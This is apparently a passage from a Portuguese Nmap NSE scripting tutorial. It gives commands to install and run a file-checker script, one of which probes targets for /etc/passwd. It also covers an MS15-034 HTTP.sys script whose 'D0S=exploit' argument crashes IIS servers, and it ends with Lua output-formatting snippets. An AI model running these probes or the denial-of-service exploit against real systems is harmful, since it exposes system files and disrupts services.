sudo cp file-checker.nse /usr/share/nmap/scripts/file-checker.nse
actualize a base de dados do NSE
sudo nmap --script-updatedb
visualizar a descriçao do modulo
sudo nmap --script-help file-checker.nse
corra o script
sudo nmap -sV -Pn -p 80,443,445,8080 --script file-checker.nse <target>
sudo nmap -sV -Pn -p 80,443,445,8080 --script file-checker.nse --script-args file=/etc/passwd <target>    

ms15-034.nse

Detecta a vulnerabilidade MS15-034 (HTTP.sys) em servidores Microsoft IIS. e explora a condição denial-of-service usando argumentos de script (--script-args D0S=exploit) ou podemos verificar (escanear) ainda mais usando outro argumento (--script-args uri =/wellcome.png), o comportamento padrão 'default' será verificar pela existencia da vulnerabilidade, e só se for introduzido o @argumento D0S (--script-args D0S=exploit) é que será explorado o denial-of-service.
versões afetadas são o Windows 7,8,8.1, Windows Server 2008 R2, 2012 e 2012R2.
An analysis of ms15-034: an-analysis-of-ms15-034



1º - download ms15-034.nse: ms15-034.nse
 2º - exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)
sudo cp ms15-034.nse /usr/share/nmap/scripts/ms15-034.nse
3º - actualize a base de dados do NSE
sudo nmap --script-updatedb
4º - visualizar a descriçao do modulo
sudo nmap --script-help ms15-034.nse
5º - corra o script
sudo nmap -sV -Pn -p 80 --script ms15-034.nse <target>
sudo nmap -sV -Pn -p 80,443,445,8080 --script ms15-034.nse --script-args D0S=exploit <target>



How To Display outputs:


usando return
  1. -- writting output to table (using return)
  2. if (response.status == 200) then
  3. return file.." FOUND..."
  4.   elseif (response.status == 404) then
  5.   return file.." NOT FOUND..."
  6. else
  7.   return file.." undefined"..response.status
  8.   end
  9. end



usando table.insert
  1. --writting output to table (using 'table.insert')
  2. if (response.status == 200) then
  3.   table.insert(response, "  STRING FOUND: "..file)
  4.   table.insert(response, "  returned 200 OK")
  5.   elseif (response.status == 404) then
  6.   table.insert(response, "  STRING NOT FOUND: "..file)
  7.   table.insert(response, "  returned 404 NOT FOUND")
  8. else
  9.   table.insert(response, "  STRING : "..file)
  10.   table.insert(response, "  returned "..response.status)
  11. end

  12. --writting response output to table
  13. return stdnse.format_output(true, response)
  14. end


usando stdnse.output_table()

  1. -- writting output to table using stdnse.output_table()
  2. -- THE RULES SECTION --
  3. local file = stdnse.get_script_args(SCRIPT_NAME..".file") or "/robots.txt"
  4. local output = stdnse.output_table()  -- fazendo table em 'the rules section'
  5. -- THE ACTION SECTION --
  6. if (response.status == 200) then
  7.   output.found = {}
  8.   output.found[#output.found + 1] = file
  9.   output.found[#output.found + 1] = "/privacy/"
  10.   output.found[#output.found + 1] = "/news/"
  11.   return output
  12. elseif (response.status == 404) then
  13.   output.found = {}
  14.   output.found[#output.found + 1] = file
  15.   output.found[#output.found + 1] = "/privacy/"
  16.   output.found[#output.found + 1] = "/news/"
  17.   return output
  18. else
  19.   output.found = {}
  20.   output.found[#output.found + 1] = file
  21.   output.found[#output.found + 1] = "/privacy/"
  22.   output.found[#output.found + 1] = "/news/"
  23.   return output
  24. end
  25. return output
  26. end